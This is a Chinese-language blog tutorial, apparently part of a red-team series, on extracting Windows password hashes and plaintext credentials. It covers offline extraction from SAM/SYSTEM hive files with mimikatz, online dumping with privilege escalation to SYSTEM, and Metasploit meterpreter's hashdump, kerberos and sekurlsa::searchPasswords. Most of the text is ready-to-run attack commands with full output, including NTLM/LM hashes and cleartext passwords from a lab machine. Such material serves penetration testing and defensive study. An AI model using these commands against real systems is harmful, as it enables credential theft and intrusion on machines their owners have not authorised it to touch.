专注APT攻击与防御
https://micropoor.blogspot.com/

上一季下载sys.hiv,sam.hiv,security.hiv文件后，以Linux下为背景来离线提取hash，本季补充以windows为背景离线提取hash。

mimikatz 2.0二进制文件下载地址：
https://github.com/gentilkiwi/mimikatz/releases/latest
切到当下目录（注意X86,X64位）

mimikatz离线导hash命令：

- **mimikatz.exe "lsadump::sam /system:sys.hiv /sam:sam.hiv" exit**

```
                    C:\Documents and Settings\Administrator>cd /d

                    E:\mimikatz_trunk\Win32>mimikatz.exe "lsadump::sam /syst
 m:sy

  .#####.   mimikatz 2.1.1 (x86) #17763 Dec  9 2018 23:56:27
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo) ** Kitten Edition **
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(commandline) # lsadump::sam /system:sys.hiv /sam:sam.hiv
Domain : VM_2003X86
SysKey : 47108a0e5ee985d466de8cc4176be06d
Local SID : S-1-5-21-1372487638-3742188729-64168774

SAMKey : c629f32085db7b5c3a5359a3ac58b820

RID  : 000001f4 (500)
User : Administrator
  Hash LM   : 44efce164ab921caaad3b435b51404ee
  Hash NTLM: 32ed87bdb5fdc5e9cba88547376818d4

RID  : 000001f5 (501)
User : Guest

RID  : 000003e9 (1001)
User : SUPPORT_388945a0
  Hash NTLM: df4e39b39762b92c1d51902a3e24c728

RID  : 000003eb (1003)
User : IUSR_VM_2003X86
  Hash LM   : 38a0a5e82d5dfec8d528f29ecf9902fc
  Hash NTLM: b6cc9a33499d8368103a1929dd047157

RID  : 000003ec (1004)
User : IWAM_VM_2003X86
  Hash LM   : 21e73ca99c64504ef3418531c16004ea
  Hash NTLM: 86b697b17d4a2f909490eb4b6af7c394

RID  : 000003ee (1006)
User : ASPNET
  Hash LM   : a2830843449252a84a5195b49f01ab99
  Hash NTLM: ddfaf8ee211e61bebc36cbfd5981b0e7

mimikatz(commandline) # exit
Bye!
```

mimikatz在线导hash命令：

- **mimikatz.exe "log Micropoor.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit"**

```
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(commandline) # log Micropoor.txt
Using 'Micropoor.txt' for logfile : OK

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

356     {0;000003e7} 0 - 45711          NT AUTHORITY\SYSTEM     S-1-5-18
(03g,18p)       Primary
 -> Impersonated !
 * Process Token : {0;00015f58} 0 - 71576428    VM_2003X86\Administrator
S-1-5-21-1372487638-3742188729-64168774-500     (10g,20p)       Primary
 * Thread Token  : {0;000003e7} 0 - 71633868    NT AUTHORITY\SYSTEM     S-1-5-18
        (03g,18p)       Impersonation (Delegation)

mimikatz(commandline) # lsadump::sam
Domain : VM_2003X86
SysKey : 47108a0e5ee985d466de8cc4176be06d
Local SID : S-1-5-21-1372487638-3742188729-64168774

SAMKey : c629f32085db7b5c3a5359a3ac58b820

RID  : 000001f4 (500)
User : Administrator
  Hash LM   : 44efce164ab921caaad3b435b51404ee
  Hash NTLM: 32ed87bdb5fdc5e9cba88547376818d4

RID  : 000001f5 (501)
User : Guest

RID  : 000003e9 (1001)
User : SUPPORT_388945a0
  Hash NTLM: df4e39b39762b92c1d51902a3e24c728

RID  : 000003eb (1003)
User : IUSR_VM_2003X86
  Hash LM   : 38a0a5e82d5dfec8d528f29ecf9902fc
  Hash NTLM: b6cc9a33499d8368103a1929dd047157

RID  : 000003ec (1004)
User : IWAM_VM_2003X86
  Hash LM   : 21e73ca99c64504ef3418531c16004ea
```

当然关于提取目标机的hash，msf也内置了离线提取与在线提取hash。

meterpreter下hashdump命令来提取hash（注意当前权限）

```
meterpreter > hashdump
Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
ASPNET:1006:a2830843449252a84a5195b49f01ab99:ddfaf8ee211e61bebc36cbfd5981b0e7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
IUSR_VM_2003X86:1003:38a0a5e82d5dfec8d528f29ecf9902fc:b6cc9a33499d8368103a1929dd047157:::
IWAM_VM_2003X86:1004:21e73ca99c64504ef3418531c16004ea:86b697b17d4a2f909490eb4b6af7c394:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:df4e39b39762b92c1d51902a3e24c728:::
meterpreter >
```

```
meterpreter > getuid
Server username: VM_2003X86\Administrator
meterpreter >
```

msf同时也内置了mimikatz，meterpreter执行load mimikatz即可加载该插件。（**这里一定要注意，msf默认调用于payload位数相同的mimikatz**）

```
meterpreter > load mimikatz
Loading extension mimikatz...Success.
meterpreter >
```

直接执行kerberos即可。

```
meterpreter > kerberos
[!] Not currently running as SYSTEM
[*] Attempting to getprivs
[+] Got SeDebugPrivilege
[*] Retrieving kerberos credentials
kerberos credentials
====================

AuthID      Package    Domain        User              Password
------      -------    ------        ----              --------
0;996       Negotiate  NT AUTHORITY  NETWORK SERVICE
0;47804     NTLM
0;997       Negotiate  NT AUTHORITY  LOCAL SERVICE
0;999       NTLM       WORKGROUP     VM_2003X86$
0;89944     NTLM       VM_2003X86    Administrator     123456
0;71387808  NTLM       VM_2003X86    IUSR_VM_2003X86   tlw]=F]46~26~*

meterpreter > livessp
```

当然有些情况下，payload位数无误，权限无误，依然无法提取目标机的密码相关。需要调用mimikatz自定义命令：

mimikatz_command -f sekurlsa::searchPasswords

```
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
[0] { Administrator ; VM_2003X86 ; 123456 }
[1] { IUSR_VM_2003X86 ; VM_2003X86 ; tlw]=F]46~26~* }
[2] { Administrator ; VM_2003X86 ; 123456 }
[3] { IUSR_VM_2003X86 ; VM_2003X86 ; tlw]=F]46~26~* }
meterpreter >
```

- Micropoor